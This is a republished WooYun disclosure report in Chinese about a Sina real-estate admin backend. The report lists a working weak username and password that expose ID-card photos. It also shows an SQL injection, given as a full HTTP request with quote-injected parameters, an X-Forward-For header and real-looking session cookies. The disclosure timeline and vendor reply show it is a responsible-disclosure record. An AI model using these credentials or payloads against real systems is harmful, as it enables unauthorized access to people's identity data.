新浪某系统弱口令后台SQL注入

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-05-09: 细节已通知厂商并且等待厂商处理中
2016-05-10: 厂商已经确认,细节仅向厂商公开
2016-05-20: 细节向核心白帽子及相关领域专家公开
2016-05-30: 细节向普通白帽子公开
2016-06-09: 细节向实习白帽子公开
2016-06-24: 细节向公众公开

简要描述:

泄漏大量身份证照片等信息.

详细说明:

http://op.esf.sina.com.cn/login

liulei 123456

QQ截图20160509150645.png



QQ截图20160509150739.png



可以任意选择地区 查询身份证

QQ截图20160509151051.png

 

漏洞证明:

然后是注入

在身份证审核-用户名/手机号查询框那里

QQ截图20160509155109.png



payload

GET /housepic/checkfacephoto?type=&key=&status=&isfree=&companyname=&currpage=1&deluid=&userstatus=&hideradiovalue=&cancel_reason= HTTP/1.1

Host: op.esf.sina.com.cn

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Referer: http://op.esf.sina.com.cn/housepic/checkfacephoto?type=&key=%27%27%27&status=&isfree=&companyname=&currpage=1&deluid=&userstatus=&hideradiovalue=&cancel_reason=

Cookie: U_TRS1=00000054.a59452b5.571f302c.8ddd7927; UOR=,tags.finance.sina.com.cn,; SINAGLOBAL=27.14.160.84_1461661742.800683; ULV=1462194616557:2:1:1:27.14.26.49_1462194598.74358:1461661743323; SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9W5HszBz6ITmHmsjieTYTqiL5NHD95Qfeoq7So.XeK57; sso_info=v02m6alo5qztbOYtoWumaKVhY2ylLmQkpS4jYKVhY2SlLiRgpS5kJKVhY2SlYGRkpWBjKKZtZqWkL2Nk4i2jIOYuY2DhLCMgMDA; client_citycode=bt; PHPSESSID=nb1mdsgbvjbjtvfjfphrr1su31; SINA_OP_ESF=65%3A%3A8016b6e2a55ec4bfffa0d4326f713e50; SINA_OP_ESF_CITY=bt; SINA_OP_ESF_TM=6; SINA_OP_ESF_LM=52%2C48%2C306%2C72%2C98%2C234%2C300;SINA_OP_ESF=948%3A%3A542be31f5feacd82c4ea6da20b9fdb7a; expires=Sun, 08-May-2016 21:35:37 GMT; path=/; domain=esf.sina.com.cn

X-Forward-For: 127.0.0.1'

Connection: keep-alive

这几个参数好像都有问题

QQ截图20160509155317.png



QQ截图20160509155336.png



QQ截图20160509155535.png



应该是主库吧.











修复方案:

排查弱口令

过滤参数

版权声明:转载请注明来源 scanf@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2016-05-10 19:04

厂商回复:

感谢支持新浪安全,漏洞修复中

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:新浪某系统弱口令后台SQL注入 - https://www.15qq.cn/wooyun/454.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知